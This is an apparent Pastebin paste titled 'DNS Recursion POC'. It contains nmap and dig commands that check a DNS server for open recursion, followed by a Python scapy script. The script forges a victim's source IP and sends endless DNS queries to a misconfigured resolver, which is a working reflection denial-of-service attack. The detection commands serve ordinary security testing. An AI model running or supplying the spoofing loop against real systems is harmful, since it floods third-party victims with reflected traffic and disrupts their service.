Advertisement
fplanzer

DNS Recursion POC

Nov 14th, 2022 (edited)
643
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.55 KB | None | 0 0
  1. nmap -sU -p53 --script dns-recursion xxx.xxx.xxx.xxx
  2.  
  3. ####################################################
  4.  
  5. dig +short test.openresolver.com TXT @xxx.xxx.xxx.xxx
  6.  
  7. ###################################################
  8.  
  9. #!/usr/bin/python
  10. from scapy.all import *
  11. #victimIP = input("Please enter the IP address for the victim: ")
  12. victimIP = 'xxx.xxx.xxx.xxx'
  13. dnsIP = input("Please enter the IP address for the misconfigured DNS: ")
  14. while True:
  15.         send(IP(dst=dnsIP,src=victimIP)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.google.com")),verbose=1)
  16.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement